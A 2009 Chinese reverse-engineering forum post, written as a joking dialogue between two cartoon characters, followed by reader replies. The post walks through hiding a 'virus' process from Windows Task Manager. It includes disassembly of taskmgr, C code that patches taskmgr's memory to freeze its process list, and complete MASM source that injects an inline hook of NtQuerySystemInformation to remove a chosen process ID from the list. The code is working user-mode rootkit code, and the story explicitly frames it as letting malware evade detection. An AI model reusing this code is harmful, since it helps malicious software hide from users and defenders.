首页
论坛
课程
招聘
雪    币: 352
活跃值: 活跃值 (10)
能力值: ( LV9,RANK:350 )
在线值:
发帖
回帖
粉丝

[原创]和Taskmgr过不去篇(无厘头版)

2009-6-30 18:06 15961

[原创]和Taskmgr过不去篇(无厘头版)

2009-6-30 18:06
15961
和Taskmgr过不去篇(无厘头版)

程序逆向初步之一


Hook入门级文章,主要想培养一下偶写文章的感觉,老鸟无视…
我想看看技术文章能不能无厘头的写,如果效果不错的话,准备更上一层-----
用我的原创漫画表达。:)

(警告1:文章中有部分“限制级”词语,请11岁以下弟弟妹妹误入)
(警告2: 修正警告1,不是“误入”,是“勿入”哦,我没有做暗示哦…)

http://album.hi.csdn.net/app_uploads/mydo/20090630/174418687.p.JPG?d=20090630174540031正义的hopy – 加菲
http://album.hi.csdn.net/app_uploads/mydo/20090630/175033078.p.JPG?d=20090630175047515 邪恶的hopy – 阿宝

时间: 终结者2018年
场景: 地下泡泡澡堂
故事: 纯属虚构

在一场残酷的西红柿大战后,最终邪恶阿宝使用卑鄙无耻的招数轻松战胜了单纯
的加菲,于是哥俩一起去地下废墟澡堂泡澡。在沉默了一阵之后加菲忽然问了阿宝
一个恐怖的问题……

加菲:……你说我们俩身上的毛哪个值钱…

阿宝:%##$%@#$%#@%#@,你想钱想疯啦……

加菲:最近手头比较紧,有没有活接?

阿宝:嘿嘿……搞定一个任务,钞票大大滴。

加菲(口水状):什么呀?

阿宝:老比最近打麻将输我200多,赖账不肯还……

加菲:不会吧…人家是首富哦…

阿宝:没办法呀,windows赔老喽,我准备把他的命根子毁了……

加菲:你这个流氓,我不跟你玩了…

阿宝:什么啊!我指的是他的windows,你想哪去了…

加菲(迅速岔开话题):今天晚上太阳好亮哦…

阿宝(画外音):#@$%#@%,我们俩到底谁邪恶…

加菲:怎么毁呀?

阿宝:我搞了一个宇宙超级大病毒程序,只要运行30分钟保准他的命根子玩蛋!
只要30分钟内不被windows taskmgr发现…

加菲:你傻啊?人家不会用其他进程查看工具嘛?

阿宝:说你不懂了吧,老比乱搞垄断,windows和taskmgr捆死了,其他
进程工具没法运行呀,嘿嘿…自掘死路…

加菲:这还不简单,做个rootkit在内核层把病毒进程隐藏起来不就行了。

阿宝:进不去RING0,只能在用户层搞……,有没有其他办法…

加菲:你超级病毒都能写出来,这个不会写?????

阿宝(-_-b):少废话,你要不要钞票了…

加菲:这个…

一炷香的功夫过去了…

阿宝:你到底想好了没啊?

加菲:taskmgr显示进程信息的控件是SysListView32,我想可以截获显示每一行
的消息,然后忽略显示病毒进程的那一条消息…

阿宝:好啊…做一个dll植入taskmgr,然后SysListView32子类化到dll中的一个
消息处理函数,过滤特定进程的消息…

加菲:没成功…可以截获和过滤消息,但显示老是会多出来一行…(可能是我
实现方法有问题,请看我以前在看雪发布的程序)

阿宝:那怎么办啊?

加菲:要不然这样,做一个进程文本修改器,类似游戏修改器中的自动修改变量,
只不过这个变量是一个进程名,只要找到病毒进程名字的文本,就将成其他混淆视
听的名字(svchost.exe)。

阿宝:8错,查找时要注意同时修改UNICODE的字符串哦…

加菲:成功了,因为两个进程同时要写一个内容,所以极少数时间里可能会造成
病毒进程名漏出马脚…

阿宝:嗯…病毒名有时会闪一下…进程数还是增加了…能不能干脆彻底删除这个
进程名而不是将其改成其他名字呢?

加菲:这个…

阿宝(舔和路雪冰淇淋):搞得怎么样了,有什么新花样呢?

加菲:如果你的超级病毒运行之后,就不准taskmgr 运行起来,如果已经运行起来
就将其关掉…

阿宝:这个不行,太招人显眼了…

加菲:把taskmgr僵掉…

阿宝:你以为你是林正英啊???怎么僵呢???

加菲:我刚才没事用IDA玩了一下taskmgr的body,发现一个好玩的
UpdateProcInfoArray过程哦,上代码(省略无关部分):

public: long __thiscall CProcPage::UpdateProcInfoArray(void) proc near
mov     eax, dword_1016580
.text:0100CAD5                 shr     eax, 0Ah
.text:0100CAD8                 mov     ecx, eax
.text:0100CADA                 imul    ecx, [ebp+var_1FC]
.text:0100CAE1                 mov     [ebp+var_88], ecx
.text:0100CAE7                 mov     ecx, eax
.text:0100CAE9                 imul    ecx, [ebp+var_1F8]
.text:0100CAF0                 mov     edx, eax
.text:0100CAF2                 imul    edx, [ebp+var_1F0]
.text:0100CAF9                 mov     [ebp+var_74], ecx
.text:0100CAFC                 mov     ecx, eax
.text:0100CAFE                 imul    ecx, [ebp+var_1F4]
.text:0100CB05                 mov     [ebp+var_6C], edx
.text:0100CB08                 mov     edx, eax
.text:0100CB0A                 imul    eax, [ebp+var_1B4]
.text:0100CB11                 imul    edx, [ebp+var_1B8]
.text:0100CB18                 mov     [ebp+var_7C], eax
.text:0100CB1B                 add     eax, edx
.text:0100CB1D                 push    edi
.text:0100CB1E                 mov     [ebp+var_78], eax
.text:0100CB21                 push    24h
.text:0100CB23                 lea     eax, [ebp+var_F0]
.text:0100CB29                 push    eax
.text:0100CB2A                 push    15h
.text:0100CB2C                 mov     [ebp+var_70], ecx
.text:0100CB2F                 mov     [ebp+var_80], edx
.text:0100CB32                 mov     __int64 g_MEMMax, ecx
.text:0100CB38                 mov     dword_1016564, edi
.text:0100CB3E                 call    esi ; NtQuerySystemInformation(x,x,x,x)
.text:0100CB40                 test    eax, eax
.text:0100CB42                 jge     short loc_100CB4E
.text:0100CB42
.text:0100CB44
.text:0100CB44 loc_100CB44:                            ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+4Bj
.text:0100CB44                                         ; CProcPage::UpdateProcInfoArray(void)+7Aj
.text:0100CB44                 mov     eax, 80004005h
.text:0100CB49                 jmp     loc_100CE7E
.text:0100CB49
.text:0100CB4E ; ---------------------------------------------------------------------------
.text:0100CB4E
.text:0100CB4E loc_100CB4E:                            ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+EEj
.text:0100CB4E                 mov     eax, dword_1016580
.text:0100CB53                 shr     eax, 0Ah
.text:0100CB56                 imul    eax, [ebp+var_DC]
.text:0100CB5D                 mov     ecx, ebx
.text:0100CB5F                 mov     [ebp+var_84], eax
.text:0100CB65                 call    CProcPage::GetProcessInfo(void)
.text:0100CB65
.text:0100CB6A                 cmp     eax, edi
.text:0100CB6C                 mov     [ebp+var_58], eax
.text:0100CB6F                 jl      loc_100CE64
.text:0100CB6F
.text:0100CB75                 mov     [ebp+var_48], edi
.text:0100CB75
.text:0100CB78
.text:0100CB78 loc_100CB78:                            ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+1EEj
.text:0100CB78                 mov     esi, [ebx+10h]
.text:0100CB7B                 add     esi, [ebp+var_48]
.text:0100CB7E                 mov     eax, [esi+44h]
.text:0100CB81                 cmp     eax, edi
.text:0100CB83                 jnz     short loc_100CB8E
.text:0100CB83
.text:0100CB85                 cmp     [esi+4], edi
.text:0100CB88                 jz      loc_100CC1D
 
 


加菲:注意 call CProcPage::GetProcessInfo(void) 这一行,进去看看:
public: long __thiscall CProcPage::GetProcessInfo(void) proc near
.text:0100A6AF                                         ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+111p
.text:0100A6AF
.text:0100A6AF var_4           = dword ptr -4
.text:0100A6AF
.text:0100A6AF                 mov     edi, edi
.text:0100A6B1                 push    ebp
.text:0100A6B2                 mov     ebp, esp
.text:0100A6B4                 push    ecx
.text:0100A6B5                 push    ebx
.text:0100A6B6                 push    esi
.text:0100A6B7                 xor     ebx, ebx
.text:0100A6B9                 push    edi
.text:0100A6BA                 mov     edi, ds:GetProcessHeap()
.text:0100A6C0                 mov     esi, ecx
.text:0100A6C2                 mov     [ebp+var_4], ebx
.text:0100A6C2
.text:0100A6C5
.text:0100A6C5 loc_100A6C5:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+63j
.text:0100A6C5                 mov     eax, [esi+10h]
.text:0100A6C8                 cmp     eax, ebx
.text:0100A6CA                 jz      short loc_100A6F9
.text:0100A6CA
.text:0100A6CC                 push    ebx
.text:0100A6CD                 push    dword ptr [esi+14h]
.text:0100A6D0                 push    eax
.text:0100A6D1                 push    5
.text:0100A6D3                 call    ds:NtQuerySystemInformation(x,x,x,x)
.text:0100A6D9                 cmp     eax, ebx
.text:0100A6DB                 jge     short loc_100A71B
.text:0100A6DB
.text:0100A6DD                 cmp     eax, 0C0000004h
.text:0100A6E2                 jnz     short loc_100A723
.text:0100A6E2
.text:0100A6E4                 mov     eax, [esi+10h]
.text:0100A6E7                 cmp     eax, ebx
.text:0100A6E9                 jz      short loc_100A6F9
.text:0100A6E9
.text:0100A6EB                 push    eax             ; lpMem
.text:0100A6EC                 push    ebx             ; dwFlags
.text:0100A6ED                 call    edi ; GetProcessHeap()
.text:0100A6EF                 push    eax             ; hHeap
.text:0100A6F0                 call    ds:HeapFree(x,x,x)
.text:0100A6F6                 mov     [esi+10h], ebx
.text:0100A6F6
.text:0100A6F9
.text:0100A6F9 loc_100A6F9:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+1Bj
.text:0100A6F9                                         ; CProcPage::GetProcessInfo(void)+3Aj
.text:0100A6F9                 add     dword ptr [esi+14h], 1000h
.text:0100A700                 push    dword ptr [esi+14h] ; dwBytes
.text:0100A703                 push    ebx             ; dwFlags
.text:0100A704                 call    edi ; GetProcessHeap()
.text:0100A706                 push    eax             ; hHeap
.text:0100A707                 call    ds:HeapAlloc(x,x,x)
.text:0100A70D                 cmp     eax, ebx
.text:0100A70F                 mov     [esi+10h], eax
.text:0100A712                 jnz     short loc_100A6C5
.text:0100A712
.text:0100A714                 mov     [ebp+var_4], 8007000Eh
.text:0100A714
.text:0100A71B
.text:0100A71B loc_100A71B:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+2Cj
.text:0100A71B                                         ; CProcPage::GetProcessInfo(void)+7Bj
.text:0100A71B                 mov     eax, [ebp+var_4]
.text:0100A71E                 pop     edi
.text:0100A71F                 pop     esi
.text:0100A720                 pop     ebx
.text:0100A721                 leave
.text:0100A722                 retn
 


阿宝:喔欧...(移动广告:3G时代...就说喔欧),这个比较明显了,里面调用
了原生态API NtQuerySystemInformation(x,x,x,x)...

加菲:下面偶来写一个过程让taskmgr僵住:
#define MAGIC_ADDR 0x100cb65
static const byte VerFlag[] = {0xe8,0x45,0xdb,0xff,0xff};
bool stoptm(DWORD pid)
{
 bool bSuccess = false;
 HANDLE ph = 0;
 
 if(!pid)
 {
  puts("taskmgr not run!");
  goto QUIT;
 }
 
 ph = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
 if(!ph)
 {
  puts("can't open taskmgr!");
  goto QUIT;
 }
 
 byte fixbin[sizeof(VerFlag)];
 if(!ReadProcessMemory(ph,(LPCVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL))
 {
  puts("read mem failed!");
  goto QUIT;
 }
 
 if(memcmp(VerFlag,fixbin,sizeof(fixbin)))
 {
  puts("taskmgr isn't right ver!");
  goto QUIT;
 }
 
 memset(fixbin,0x90,sizeof(fixbin));
 if(!WriteProcessMemory(ph,(LPVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL))
 {
  puts("write mem failed!");
  goto QUIT;
 }
 
 bSuccess = true;
QUIT:
 if(ph)
  CloseHandle(ph);
 return bSuccess;
}


阿宝:我好像能看懂了,将对应的调用语句NOP掉,从而taskmgr无法再刷新
进程列表了...但这个不能对应不同版本的taskmgr吧?

加菲:这个...那是当然...

阿宝:你能不能给我个最终解决办法啊...

加菲:没办法了...只有用各个版本通杀技了,HOOk NtQuerySystemInformation ,
然后改变其返回内容。要注意的是我们只需要HOOK 第一个参数为5的调用,
即Query系统进程信息,其他都不用理会。NtQuerySystemInformation
获取进程信息如果成功,将会返回一个数组,或者称其为一个链表更准确。结构如下:

typedef struct _SYSTEM_PROCESSES
{
ULONG     NextEntryDelta;     //构成结构序列的偏移量;
ULONG     ThreadCount;       //线程数目;
ULONG     Reserved1[6];     
LARGE_INTEGER CreateTime;       //创建时间;
LARGE_INTEGER UserTime;        //用户模式(Ring 3)的CPU时间;
LARGE_INTEGER KernelTime;       //内核模式(Ring 0)的CPU时间;
UNICODE_STRING ProcessName;       //进程名称;
KPRIORITY   BasePriority;      //进程优先权;
ULONG     ProcessId;       //进程标识符;
ULONG     InheritedFromProcessId; //父进程的标识符;
ULONG     HandleCount;       //句柄数目;
ULONG     Reserved2[2];
VM_COUNTERS  VmCounters;       //虚拟存储器的结构,见下;
IO_COUNTERS  IoCounters;       //IO计数结构,见下;
SYSTEM_THREADS Threads[1];       //进程相关线程的结构数组,见下;
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;
 


我要做的只是在链表中查找需要隐藏进程的ID,然后将其剔除即可。

阿宝:怎么剔除呢?

加菲:分2种情况,若PID出现在链表的的尾部则直接将上一个链表指向NULL,
否则需要将上一个结构的指针指向PID结构后面一个结构,从而将其剔除,完整代码如下:

.386
.model flat, stdcall
option casemap:none
.nocref
.nolist
include  D:\work\masm32\include\windows.inc
include  D:\work\masm32\include\user32.inc
include  D:\work\masm32\include\kernel32.inc
.list
.listmacro
.listmacroall
IFNDEF UNICODE_STRING
 UNICODE_STRING struct
  _Length  WORD ?
  MaximumLength WORD ?
  Buffer  PWSTR ?
 UNICODE_STRING ends
 PUNICODE_STRING typedef ptr UNICODE_STRING
ENDIF
SPI struct
 NextOffset DWORD ?
   DWORD ?
 Times  QWORD 6 dup(?)
 ImageName UNICODE_STRING <?>
   DWORD ?
 ProcessId DWORD ?
 Reserved DWORD 7 dup(?)
SPI ends
PSPI typedef ptr SPI
  .const
szDll  db "ntdll.dll",0
szQSI_func db "NtQuerySystemInformation",0
  .code
;**********************************************************
RT_BIN_START equ $
 PID  DWORD ? ;要隐藏进程的pid
 pQSI_func DWORD ?
 pQSI_Next DWORD ?
 pBuf  DWORD ?
 pRetAddr DWORD ?
 pPreviousSPI PSPI 0
 dwEBX  DWORD ?
 ;ORGBIN  byte 5 dup(?)
 FIXBIN  byte 5 dup(?)
RT_CODE_OFFSET equ $ - RT_BIN_START
len0 textequ %RT_CODE_OFFSET
% echo RT_CODE_OFFSET is len0
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
myQSI_func proc
 mov ecx,ebx
 call @F
@@:
 pop ebx
 sub ebx,offset @B
 jmp DOIT
GoMaMa:
 mov eax,dword ptr [esp]
 mov dword ptr [esp + 4],eax
 pop eax
 ORGBIN byte 5 dup(?)
 jmp [ebx + pQSI_Next]
DOIT:
 mov dword ptr [ebx + dwEBX],ecx
 mov dword ptr [ebx + pBuf],0
 push dword ptr [esp]
 pop dword ptr [ebx + pRetAddr]
 .if dword ptr [esp + 4] == 5
  push dword ptr [esp+8]
  pop dword ptr [ebx + pBuf]
 .endif
 
 call GoMaMa
 ;调用原始QSI成功且是获取SPIs的调用
 .if eax == 0 && dword ptr [ebx + pBuf] != 0
  assume eax:PSPI
  mov ecx,dword ptr [ebx + PID]
  mov eax,dword ptr [ebx + pBuf]
  .while TRUE
.if [eax].ProcessId == ecx
.if [eax].NextOffset == 0
mov eax,[ebx + pPreviousSPI]
mov [eax].NextOffset,0
.else
mov ecx,[eax].NextOffset
mov eax,[ebx + pPreviousSPI]
add ecx,[eax].NextOffset
mov [eax].NextOffset,ecx
.endif
.break
.endif
.break .if [eax].NextOffset == 0
push eax
pop dword ptr [ebx + pPreviousSPI]
add eax,[eax].NextOffset
.endw
  assume eax:nothing
 .endif
 
 mov ecx,ebx
 mov ebx,[ebx + dwEBX]
 jmp [ecx + pRetAddr]
 ;ret
myQSI_func endp
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
RT_BIN_END equ $
RT_BIN_LEN equ RT_BIN_END - RT_BIN_START
T_BIN_LEN textequ %RT_BIN_LEN
% echo RT_BIN_LEN is T_BIN_LEN
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
hookQSIfunc proc C uses ebx edi esi ph:HANDLE,pid:DWORD
 local bSuccess,pRTBin,oldProtect
 
 mov bSuccess,FALSE
 .if pid == 0
  jmp QUIT
 .endif
 invoke VirtualProtect,offset RT_BIN_START,\
  T_BIN_LEN,PAGE_EXECUTE_READWRITE,\
  addr oldProtect
 .if !eax
  jmp QUIT
 .endif
 invoke LoadLibrary,addr szDll
 invoke GetProcAddress,eax,addr szQSI_func
 .if !eax
  jmp QUIT
 .endif
 mov pQSI_func,eax
 
 invoke VirtualAllocEx,ph,NULL,T_BIN_LEN,\
  MEM_COMMIT,PAGE_EXECUTE_READWRITE
 .if !eax
  jmp QUIT
 .endif
 mov pRTBin,eax
 
 invoke ReadProcessMemory,ph,pQSI_func,\
  addr ORGBIN,5,NULL
 .if !eax
  jmp QUIT
 .endif
 mov eax,pRTBin
 add eax,RT_CODE_OFFSET
 sub eax,pQSI_func
 sub eax,5
 mov byte ptr [FIXBIN],0E9h
 mov dword ptr [FIXBIN+1],eax
 
 mov eax,pQSI_func
 add eax,5
 mov pQSI_Next,eax
 push pid
 pop PID
 invoke WriteProcessMemory,ph,pRTBin,\
  offset RT_BIN_START,T_BIN_LEN,NULL
 .if !eax
  jmp QUIT
 .endif
 invoke WriteProcessMemory,ph,pQSI_func,\
  addr FIXBIN,5,NULL
 .if !eax
  jmp QUIT
 .endif
 
 mov bSuccess,TRUE
QUIT:
 .if pRTBin
  ;invoke VirtualFreeEx,ph,pRTBin,\
   ;T_BIN_LEN,MEM_RELEASE
 .endif
 mov eax,bSuccess
 ret
hookQSIfunc endp
;**********************************************************
 end


阿宝:你好像是HOOK之后,直接将以上代码拷贝到taskmgr.exe进程空间中,
等待其自动调用,是吗?

加菲:没错,拷贝功能的函数即是hookQSIfunc,当然这要首先保证taskmgr在运行:

//检查taskmgr.exe当前是否在运行
DWORD findtm(void)
{
 DWORD pid = 0;
 
 PROCESSENTRY32 process = {.dwSize=sizeof(PROCESSENTRY32)};
 HANDLE hss = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 Process32First(hss,&process);
 while(Process32Next(hss,&process))
 {
  if(!strcmp(process.szExeFile,"taskmgr.exe"))
  {
   pid = process.th32ProcessID;
   break;
  }
 }
 
 CloseHandle(hss);
 return pid;
}


阿宝(暗笑):是这样啊...嘿嘿

加菲(聚精会神地):这样一来无论哪个版本的taskmgr,只要获取机制没有变,
都可以搞定了,呵呵...终于搞定了...那个报酬怎么算...(回头),人呢???

阿宝(全裸速逃中...)

加菲:阿宝,你竟然敢欺骗偶的感情....

愤怒的加菲制造了N个加菲猫终结者T1300型追杀阿宝,至于阿宝能否逃脱,
这是另一个故事了哦。

(PS1:使用了电影分镜头剧本结构,适合改编为cartoon或flash之类的咚咚,结尾不是很好,修改中)

(PS2: 场景的选择是从刚看完的终结者2018获得的。)
源代码下载:

[公告]看雪论坛2020激励机制上线了!多多参与讨论可以获得积分快速升级?

上传的附件:
最新回复 (25)
雪    币: 243
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
scm 活跃值 2009-7-1 09:26
3
0
哈哈,幽默~~~
雪    币: 211
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kmlch 活跃值 2009-7-1 10:06
4
0
写得比较有趣,引子有点长。
雪    币: 2641
活跃值: 活跃值 (40)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
b23526 活跃值 2009-7-1 11:45
5
0
扯得太长了,希望下回改进,俺手都酸了
雪    币: 352
活跃值: 活跃值 (10)
能力值: ( LV9,RANK:350 )
在线值:
发帖
回帖
粉丝
hopy 活跃值 8 2009-7-1 11:49
6
0
呵呵...那用漫画岂不是...
雪    币: 651
活跃值: 活跃值 (10)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
轩辕小聪 活跃值 7 2009-7-1 21:33
7
0
概括地说就是Ring3下inline hook NtQuerySystemInformation来在taskmgr里隐藏进程,以及其他纯属YY的方法……
雪    币: 1331
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Ivanov 活跃值 2009-7-1 21:42
8
0
D:D:D:D:D:
雪    币: 352
活跃值: 活跃值 (10)
能力值: ( LV9,RANK:350 )
在线值:
发帖
回帖
粉丝
hopy 活跃值 8 2009-7-2 20:19
9
0
不全是YY,其他方法毕竟是另几种思路,有时候思路是很重要的。
雪    币: 326
活跃值: 活跃值 (10)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
快雪时晴 活跃值 4 2009-7-2 20:39
10
0
人才啊,搞破解也这么激情四射
雪    币: 1224
能力值: (RANK:680 )
在线值:
发帖
回帖
粉丝
jackozoo 活跃值 14 2009-7-2 20:49
11
0
人才。。
把技术讲解融于卡通人物的对话中,很好。
不过引子扯的有点过长了
雪    币: 371
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hyp 活跃值 2009-7-3 09:16
12
0
图不够多啊 呵呵
雪    币: 115
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
supermilg 活跃值 2009-7-3 22:33
13
0
楼主乃导演出身,人才啊人才!
鉴定完毕
雪    币: 37
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
amwmqj 活跃值 1 2009-7-4 15:42
14
0
如果你扯的那么长,不是无厘头而是技术详解该有多好,大侠可以跳过,菜鸟可以品味。
天天14小时面对电脑的时间,使我一见这种暴多文字的东西就恐惧……
不过楼主激情N射,值得表扬,技术不做评价(因为只看了十行,还没到正文的话,就不看了)
继续努力。
雪    币: 154
活跃值: 活跃值 (20)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
fengjl 活跃值 1 2009-7-5 13:40
15
0
vista中测试好像没有效果??.....
雪    币: 108
活跃值: 活跃值 (34)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2009-7-6 11:40
16
0
哈哈,不错不错。
雪    币: 185
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
driverox 活跃值 2 2009-7-8 09:32
17
0
继续进修在看雪导演辅导班。。。。。。
雪    币: 266
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
爱不说 活跃值 2009-7-14 20:14
18
0
哈   好厉害 连Micro大叔的任务管理都给HOOK了   

支持楼主的叙说方式
雪    币: 188
活跃值: 活跃值 (55)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
wujimaa 活跃值 1 2009-7-14 22:17
19
0
不错不错,好好学习一下
雪    币: 46
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
挂挂 活跃值 2009-7-14 22:40
20
0
呵呵。。楼主是两面的
雪    币: 352
活跃值: 活跃值 (10)
能力值: ( LV9,RANK:350 )
在线值:
发帖
回帖
粉丝
hopy 活跃值 8 2009-7-30 11:57
21
0
啊呀,被你发现了。。
雪    币: 135
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kieepog 活跃值 2009-8-20 23:38
22
0
楼主有激情,真是长啊
雪    币: 43
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jcvb 活跃值 2009-8-21 21:51
23
0
哈哈 强    。
雪    币: 230
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tind 活跃值 2009-8-22 00:52
24
0
楼主够创意~~
雪    币: 6836
活跃值: 活跃值 (89)
能力值: (RANK:1290 )
在线值:
发帖
回帖
粉丝
玩命 活跃值 31 2009-8-22 09:24
25
0
有趣的文章。再接再厉 争取写个小说
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
twister 活跃值 1 2009-8-22 09:52
26
0
只能说一句'太有才了'
雪    币: 1834
活跃值: 活跃值 (15)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
yingyue 活跃值 2009-9-3 17:44
27
0
由始至终支持啊宝
游客
登录 | 注册 方可回帖
返回